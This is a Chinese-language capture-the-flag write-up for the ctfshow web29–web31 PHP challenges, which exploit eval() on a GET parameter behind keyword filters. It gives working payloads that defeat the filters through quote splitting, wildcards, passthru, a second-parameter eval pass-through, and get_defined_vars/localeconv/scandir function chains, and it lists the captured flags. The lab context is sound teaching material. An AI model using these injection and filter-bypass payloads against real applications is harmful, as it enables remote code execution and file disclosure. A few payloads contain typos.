目录
web29
代码分析:
payload:
解题过程:
flag:
web30
代码分析:
payload:
编辑flag:
web31
代码分析:
二次传递:通过传两个参数来绕过检测
payload:
套娃:套娃这里介绍两种套娃的方式get_defined_vars()、localeconv()
需要用到的函数:
第一种
第二种
flag:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
GET方式获取参数c,并将eval($c)将c作为代码执行
preg_match正则匹配,这里是判断是否存在flag存在则不执行,即过滤flag
?c=system('tac fl""ag.php);
绕过flag.php的方法很多,这里使用最简单的绕过方式双引号绕过,和它等同的是单引号绕过,更多的绕过方式后面也会提到
tac是查看代码的命令,与cat类似,不知道为什么cat在这里用不了
?c=system('ls');
查看一下当前目录有什么文件
再使用payload获取flag
ctfshow{144242cf-a65b-4239-99e4-15e538453d2f}
if(!preg_match("/flag|system|php/i", $c))
这里把system与flag、php都过滤了
system绕过:可以使用passthru等函数绕过
flag.php:可以使用引号绕过fl""ag.p""hp,也可以使用通配符绕过fl*
?c=passthru('ls');
?c=passthru('tac fl*');
ctfshow{8ea88388-bcad-4091-9c35-cf3cc290f5f6}
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))
过滤的东西有点多,单引号过滤了,空格过滤了,这时候可以考虑用二次传递或者套娃来做
?c=eval($_GET[1]);&1=system('ls');
?c=eval($_GET[1]);&1=system('tac flag.php');
if中检测的是eval($_GET[1]);并没有出现违法字符,但我们通过eval与&1将命令传递进c中并且能被执行
get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() 是删除并返回数组最后一个元素
current() 返回数组中的当前元素的值。别名是 pos()
next() 返回数组中的下一个元素的值。
end()最后一个
scandir() 函数返回指定目录中的文件和目录的数组。
print_r() 函数用于打印变量,以更容易理解的形式展示。
localeconv()函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."
current() 函数返回数组中的当前元素的值。别名是 pos()
array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。
read_file()、highlight_file()和show_source()读出源码
print_r():函数用于打印变量,以更容易理解的形式展示
get_defined_vars():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
print_r(get_defined_vars());
可以看到一共有这么多参数,其中有个值未POST,尝试使用POST传入Chen=system('ls');
可以看到POST中出现先了一个system('ls'),现在就需要通过函数将它取出来
current() :返回数组中的当前元素的值。别名是 pos()
next() :返回数组中的下一个元素的值。
使用next函数给它取出来
print_r(next(get_defined_vars()));
取出来了一个类似于数组的东西,下标为Chen 值为system('ls');
array_pop() 是删除并返回数组最后一个元素
使用array_pop()将值取出来
print_r(array_pop(next(get_defined_vars())));
现在传入进入的内容就相当于 print_r(system('ls')) ,只需要将print_r换成eval,最终payload
POST传递Chen=system('ls');
eval(array_pop(next(get_defined_vars())));
改变Chen=systme('tac flag.php');
scandir() 函数返回指定目录中的文件和目录的数组。
localeconv()函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."
这道题将.给过滤了,所以可以使用localeconv()代替点,scandir(.),使用前面提到的current()/pos()将.给取出来
即
print_r(scandir(pos(localeconv())));
可以看到flag.php ,使用函数给它取出来使用代码展示函数,将网页显示出来
array_reverse():将整个数组反转,再使用next取出flag.php
print_r(next(array_reverse(scandir(pos(localeconv())))));
最后使用 read_file()、highlight_file()和show_source()读出源码
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
ctfshow{44e0aa35-ceb8-4317-b8ed-c3f7ef77a40c}